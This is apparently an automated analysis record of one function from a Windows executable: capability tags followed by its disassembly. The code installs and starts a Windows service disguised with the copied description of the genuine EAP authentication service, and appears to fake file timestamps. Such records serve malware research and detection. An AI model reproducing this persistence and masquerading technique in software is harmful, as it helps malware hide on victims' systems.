Function at 0x14003a559
Capabilities:
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push rbp
push r15
mov rax, reloc.WS2_32.dll_recv
sub rsp, 8
mov qword [rsp], 0
dec rax
jne 0x14003a563
sub rsp, 0x28
call fcn.1400611d0
mov rdx, rsp
mov rcx, 0xcb
call fcn.140062150
mov rcx, 0x117
call fcn.14004f899
mov rcx, 0x119
call fcn.14004f899
movsxd r15, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x50]
imul r15, rax
mov rax, r15
push rax
pop rax
mov dword [rsp + 0x50], eax
mov rcx, 0x11a
call fcn.14004f899
mov rax, gethostbyname
mov rax, rax
push rax
pop rcx
call fcn.1400086f3
mov rcx, 0x11a
call fcn.14004fa7b
mov rcx, 0x11b
call fcn.14004f899
movsxd r15, dword [0x1401059a8]
cmp r15, 2
jle 0x14003a717
mov rcx, 0x11c
call fcn.14004f899
push 1
movsxd rax, dword [0x1401059a8]
mov rax, rax
push rax
pop rcx
pop rdx
movabs r10, 0x1400538b0
mov r11, 0
call fcn.14004fa99
call fcn.1400539f0
mov rax, rax
push rax
pop rax
mov dword [rsp + 0x28], eax
mov rcx, 0x11d
call fcn.14004f899
movsxd r15, dword [rsp + 0x28]
mov rax, r15
mov rdx, qword [0x1400ec108]
mov rdx, qword [rdx - 0x10]
call fcn.14004f9d4
mov rbp, qword [0x1400ec108]
imul r15, r15, 0x18
add rbp, r15
call fcn.14004f9b1
mov rcx, qword [rbp + 8]
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400614d0
add rsp, 0x28
lea rcx, [rsp + 0x40]
pop rdx
call fcn.140061360
mov rcx, 0x11e
call fcn.14004f899
movsxd r15, dword [rsp + 0x28]
mov rax, r15
mov rdx, qword [0x1400ec108]
mov rdx, qword [rdx - 0x10]
call fcn.14004f9d4
mov rbp, qword [0x1400ec108]
imul r15, r15, 0x18
add rbp, r15
call fcn.14004f9b1
mov rcx, qword [rbp + 0x10]
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400614d0
add rsp, 0x28
lea rcx, [rsp + 0x48]
pop rdx
call fcn.140061360
mov rcx, 0x11f
call fcn.14004f899
jmp 0x14003a763
mov rcx, 0x11f
call fcn.14004f899
mov rcx, 0x120
call fcn.14004f899
movabs rdx, str.Health_Key_Authentication_Protocol
lea rcx, [rsp + 0x38]
call fcn.140061090
mov rcx, 0x121
call fcn.14004f899
movabs rdx, str.Authentication_Protocol__EAP__service_provides_network_authentication_in_such_scenarios_as_802.1x_wired_and_wireless__VPN__and_Network_Access_Protection__NAP_.__EAP_also_provides_application_programming_interfaces__APIs__that_are_used_by_network_access_clients__including_wireless_and_VPN_clients__during_the_authentication_process.__If_you_disable_this_service__this_computer_is_prevented_from_accessing_networks_that_require_EAP_authentication.
lea rcx, [rsp + 0x40]
call fcn.140061090
mov rcx, 0x122
call fcn.14004f899
mov rcx, 0x127
call fcn.14004f899
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.140061240
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.140061240
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
pop rcx
sub rsp, 0x20
movabs r10, 0x140052a48
mov r11, 0
call fcn.14004fa99
call fcn.140053038
add rsp, 0x20
push rax
call fcn.1400612c0
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400525a0
add rsp, 0x20
push rax
call fcn.1400612c0
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
movabs r10, 0x140051710
mov r11, 0
call fcn.14004fa99
call fcn.140051720
add rsp, 0x28
lea rcx, [rsp + 0x80]
pop rdx
call fcn.140061360
mov rcx, 0x128
call fcn.14004f899
push qword [rsp + 0x78]
movabs rcx, 0x1400ec20e
pop rdx
call fcn.140061440
or rax, rax
jne 0x14003a944
mov rcx, 0x129
call fcn.14004f899
mov rcx, qword [rsp + 0x78]
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400614d0
add rsp, 0x28
lea rcx, [0x14010591c]
pop rdx
call fcn.140061360
mov rcx, 0x12a
call fcn.14004f899
mov rax, qword [0x14010591c]
mov rax, rax
push rax
lea rbp, [rsp + 0x60]
call fcn.14004f9b1
pop rax
mov qword [rbp], rax
mov rcx, 0x12b
call fcn.14004f899
lea rax, [0x140047de5]
mov rax, rax
push rax
call fcn.14004f9b1
pop rax
mov qword [rbp + 8], rax
mov rcx, 0x12c
call fcn.14004f899
lea rax, [rsp + 0x58]
mov rax, rax
push rax
pop rcx
call sub.ADVAPI32.dll_StartServiceCtrlDispatcherW
mov rcx, 0x12c
call fcn.14004fa7b
mov rcx, 0x12d
call fcn.14004f899
jmp 0x14003b42f
mov rcx, 0x12d
call fcn.14004f899
mov rcx, 0x12e
call fcn.14004f899
call fcn.14002779d
mov rcx, 0x12e
call fcn.14004fa7b
mov rcx, 0x12f
call fcn.14004f899
mov dword [rsp + 0x48], 0
mov rcx, 0x130
call fcn.14004f899
mov rcx, 0x131
call fcn.14004f899
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.140061240
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.14003ba90
add rsp, 0x28
mov rcx, 0x131
call fcn.14004fa7b
push rcx
sub rsp, 0x20
call fcn.140061240
add rsp, 0x20
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x20
call fcn.140061240
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.140006b7d
add rsp, 0x30
mov rcx, 0x131
call fcn.14004fa7b
pop rax
lea rcx, [rsp + 0x78]
pop rdx
call fcn.140061360
mov rcx, 0x132
call fcn.14004f899
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push qword [rsp + 0x80]
push rcx
sub rsp, 0x20
call fcn.140061240
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
pop rcx
sub rsp, 0x20
call fcn.140052e24
add rsp, 0x20
push rax
call fcn.1400612c0
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
movabs r10, 0x1400578b0
mov r11, 0
call fcn.14004fa99
call fcn.140058760
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.14004fb48
add rsp, 0x28
pop rax
and rax, rax
je 0x14003aac6
mov rcx, 0x133
call fcn.14004f899
jmp 0x14003ab37
mov rcx, 0x134
call fcn.14004f899
mov rcx, 0x136
call fcn.14004f899
movsxd r15, dword [rsp + 0x48]
inc r15
mov rax, r15
push rax
pop rax
mov dword [rsp + 0x48], eax
mov rcx, 0x137
call fcn.14004f899
movsxd r15, dword [rsp + 0x48]
cmp r15, 0xc8
jle 0x14003ab1a
mov rcx, 0x138
call fcn.14004f899
jmp 0x14000173a
mov rcx, 0x139
call fcn.14004f899
mov rcx, 0x13a
call fcn.14004f899
jmp 0x14003a981
mov rcx, 0x13b
call fcn.14004f899
push qword [rsp + 0x70]
pop rcx
call fcn.140025dc6
mov rcx, 0x13b
call fcn.14004fa7b
mov rcx, 0x13d
call fcn.14004f899
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push 0
push rcx
sub rsp, 0x20
call fcn.140061240
add rsp, 0x20
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x20
call fcn.140061240
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.14003ba90
add rsp, 0x30
mov rcx, 0x13d
call fcn.14004fa7b
movabs rcx, str.ntdll.dll
sub rsp, 0x20
call fcn.1400614d0
add rsp, 0x20
push rax
call fcn.1400612c0
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
movabs r10, 0x140057b94
mov r11, 0
call fcn.14004fa99
call fcn.140058784
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.14004fb48
add rsp, 0x28
pop rax
mov qword [rsp + 0x80], rax
mov rcx, 0x13e
call fcn.14004f899
mov r15, qword [rsp + 0x80]
and r15, r15
jne 0x14003ac67
mov rcx, 0x13f
call fcn.14004f899
movabs rax, str.2018_4_12_07:34:22
push rax
movabs rax, str._yyyy__mm__dd__hh:_ii:_ss
push rax
pop rcx
pop rdx
call fcn.14005b4cc
mov qword [rsp + 0x80], rax
mov rcx, 0x140
call fcn.14004f899
mov rcx, 0x141
call fcn.14004f899
push qword [rsp + 0x80]
push 0
push qword [rsp + 0x80]
pop rcx
pop rdx
pop r8
movabs r10, 0x140057c88
mov r11, 0
call fcn.14004fa99
call fcn.140058860
mov rcx, 0x142
call fcn.14004f899
push qword [rsp + 0x80]
push 1
push qword [rsp + 0x80]
pop rcx
pop rdx
pop r8
movabs r10, 0x140057c88
mov r11, 0
call fcn.14004fa99
call fcn.140058860
mov rcx, 0x143
call fcn.14004f899
push qword [rsp + 0x80]
push 2
push qword [rsp + 0x80]
pop rcx
pop rdx
pop r8
movabs r10, 0x140057c88
mov r11, 0
call fcn.14004fa99
call fcn.140058860
mov rcx, 0x145
call fcn.14004f899
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.140061240
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.140046483
add rsp, 0x28
mov rcx, 0x145
call fcn.14004fa7b
lea rcx, [0x14010591c]
pop rdx
call fcn.140061360
mov rcx, 0x146
call fcn.14004f899
mov rcx, qword [rsp + 0x70]
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400614d0
add rsp, 0x28
movabs rcx, 0x1400ec2d8
sub rsp, 0x28
call fcn.1400614d0
add rsp, 0x28
mov rcx, qword [0x14010591c]
sub rsp, 0x28
call fcn.1400614d0
add rsp, 0x28
lea rcx, [rsp + 0x78]
pop rdx
call fcn.140061360
mov rcx, 0x147
call fcn.14004f899
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
push qword [0x14010591c]
mov rcx, qword [rsp]
sub rsp, 0x20
call fcn.140062730
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.14004fb48
add rsp, 0x28
pop rax
mov rcx, 0x148
call fcn.14004f899
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
push qword [rsp + 0x40]
mov rcx, qword [rsp]
sub rsp, 0x20
call fcn.140062730
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.14004fb48
add rsp, 0x28
pop rax
mov rcx, 0x149
call fcn.14004f899
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
push qword [rsp + 0x48]
mov rcx, qword [rsp]
sub rsp, 0x20
call fcn.140062730
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.14004fb48
add rsp, 0x28
pop rax
mov rcx, 0x14b
call fcn.14004f899
push 2
push 0
push 0
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_OpenSCManagerW
mov rcx, 0x14b
call fcn.14004fa7b
mov qword [rsp + 0x88], rax
mov rcx, 0x14c
call fcn.14004f899
cmp qword [rsp + 0x88], 0
je 0x14003b050
mov rcx, 0x14d
call fcn.14004f899
sub rsp, 8
push 0
push 0
push 0
push 0
push 0
mov rax, qword [rsp + 0xa0]
mov rax, rax
push rax
push 1
push 2
push reloc.WS2_32.dll_recv
push 0xf01ff
mov rax, qword [rsp + 0x90]
mov rax, rax
push rax
mov rax, qword [0x14010591c]
mov rax, rax
push rax
push qword [rsp + 0xf0]
pop rcx
pop rdx
pop r8
pop r9
sub rsp, 0x20
call sub.ADVAPI32.dll_CreateServiceW
add rsp, 0x70
mov rcx, 0x14d
call fcn.14004fa7b
mov qword [rsp + 0x90], rax
mov rcx, 0x14e
call fcn.14004f899
cmp qword [rsp + 0x90], 0
je 0x14003b01f
mov rcx, 0x14f
call fcn.14004f899
mov rax, qword [rsp + 0x40]
mov rax, rax
push rax
lea rbp, [rsp + 0x70]
call fcn.14004f9b1
pop rax
mov qword [rbp], rax
mov rcx, 0x150
call fcn.14004f899
lea rax, [rsp + 0x68]
mov rax, rax
push rax
push 1
push qword [rsp + 0xa0]
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_ChangeServiceConfig2W
mov rcx, 0x150
call fcn.14004fa7b
mov rcx, 0x151
call fcn.14004f899
push qword [rsp + 0x90]
pop rcx
call sub.ADVAPI32.dll_CloseServiceHandle
mov rcx, 0x151
call fcn.14004fa7b
mov rcx, 0x152
call fcn.14004f899
mov rcx, 0x153
call fcn.14004f899
push qword [rsp + 0x88]
pop rcx
call sub.ADVAPI32.dll_CloseServiceHandle
mov rcx, 0x153
call fcn.14004fa7b
mov rcx, 0x154
call fcn.14004f899
mov rcx, 0x156
call fcn.14004f899
push 2
push 0
push 0
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_OpenSCManagerW
mov rcx, 0x156
call fcn.14004fa7b
mov qword [rsp + 0x88], rax
mov rcx, 0x157
call fcn.14004f899
cmp qword [rsp + 0x88], 0
je 0x14003b18e
mov rcx, 0x158
call fcn.14004f899
push 0xf01ff
mov rax, qword [0x14010591c]
mov rax, rax
push rax
push qword [rsp + 0x98]
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_OpenServiceW
mov rcx, 0x158
call fcn.14004fa7b
mov qword [rsp + 0x90], rax
mov rcx, 0x159
call fcn.14004f899
cmp qword [rsp + 0x90], 0
je 0x14003b15d
mov rcx, 0x15a
call fcn.14004f899
push 0
push 0
push qword [rsp + 0xa0]
pop rcx
pop rdx
pop r8
call sub.ADVAPI32.dll_StartServiceW
mov rcx, 0x15a
call fcn.14004fa7b
mov rcx, 0x15b
call fcn.14004f899
push qword [rsp + 0x90]
pop rcx
call sub.ADVAPI32.dll_CloseServiceHandle
mov rcx, 0x15b
call fcn.14004fa7b
mov rcx, 0x15c
call fcn.14004f899
mov rcx, 0x15d
call fcn.14004f899
push qword [rsp + 0x88]
pop rcx
call sub.ADVAPI32.dll_CloseServiceHandle
mov rcx, 0x15d
call fcn.14004fa7b
mov rcx, 0x15e
call fcn.14004f899
mov rcx, 0x161
call fcn.14004f899
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.140061240
add rsp, 0x20
pop rcx
push rax
sub rsp, 0x20
call fcn.14003ba90
add rsp, 0x28
mov rcx, 0x161
call fcn.14004fa7b
movabs rcx, str.wostmp_
sub rsp, 0x28
call fcn.1400614d0
add rsp, 0x28
lea rcx, [rsp + 0xa0]
pop rdx
call fcn.140061360
mov rcx, 0x162
call fcn.14004f899
push qword [rsp + 0x98]
pop rcx
movabs r10, 0x1400578b4
mov r11, 0
call fcn.14004fa99
call fcn.140058280
mov rcx, 0x163
call fcn.14004f899
push qword [rsp + 0x98]
pop rcx
call fcn.140017ad3
mov rcx, 0x163
call fcn.14004fa7b
mov rcx, 0x164
call fcn.14004f899
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [rsp + 0xa8]
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400614d0
add rsp, 0x28
movabs rcx, 0x1400ec3ee
sub rsp, 0x28
call fcn.1400614d0
add rsp, 0x28
sub rsp, 8
push 1
push 0x7fffffff
pop rcx
pop rdx
sub rsp, 0x20
movabs r10, 0x1400538b0
mov r11, 0
call fcn.14004fa99
call fcn.1400539f0
add rsp, 0x28
mov rax, rax
push rax
pop rcx
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.140061240
add rsp, 0x20
pop rcx
push rax
pop rdx
sub rsp, 0x20
call fcn.140052270
add rsp, 0x20
pop rax
movabs rcx, 0x1400ec3ee
sub rsp, 0x28
call fcn.1400614d0
add rsp, 0x28
sub rsp, 8
push 1
push 0x7fffffff
pop rcx
pop rdx
sub rsp, 0x20
movabs r10, 0x1400538b0
mov r11, 0
call fcn.14004fa99
call fcn.1400539f0
add rsp, 0x28
mov rax, rax
push rax
pop rcx
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.140061240
add rsp, 0x20
pop rcx
push rax
pop rdx
sub rsp, 0x20
call fcn.140052270
add rsp, 0x20
pop rax
call fcn.1400615c0
push rcx
sub rsp, 0x20
call fcn.140061240
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.140061240
add rsp, 0x28
pop rcx
push rax
pop rcx
sub rsp, 0x20
call fcn.140052e24
add rsp, 0x20
push rax
call fcn.1400612c0
mov rdx, rax
pop rax
add qword [rsp], rdx
push rax
call fcn.1400612c0
mov rdx, rax
pop rax
add qword [rsp + 8], rdx
pop rcx
pop rdx
sub rsp, 0x20
movabs r10, 0x140057c84
mov r11, 0
call fcn.14004fa99
call fcn.14005897c
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.14004fb48
add rsp, 0x28
pop rax
mov rcx, 0x165
call fcn.14004f899
jmp 0x14000173a
mov rcx, 0x166
call fcn.14004f899
mov rcx, 0x167
call fcn.14004f899
xor rax, rax
push rax
push rax
sub rsp, 0x20
call fcn.1400623c0
add rsp, 0x20
pop rax
mov rcx, qword [rsp + 0x80]
sub rsp, 0x28
call fcn.1400614a0
add rsp, 0x28
mov rcx, qword [rsp + 0xa0]
sub rsp, 0x28
call fcn.1400614a0
add rsp, 0x28
mov rcx, qword [rsp + 0x78]
sub rsp, 0x28
call fcn.1400614a0
add rsp, 0x28
mov rcx, qword [rsp + 0x40]
sub rsp, 0x28
call fcn.1400614a0
add rsp, 0x28
mov rcx, qword [rsp + 0x48]
sub rsp, 0x28
call fcn.1400614a0
add rsp, 0x28
pop rax
add rsp, 0xa8
pop r15
pop rbp
ret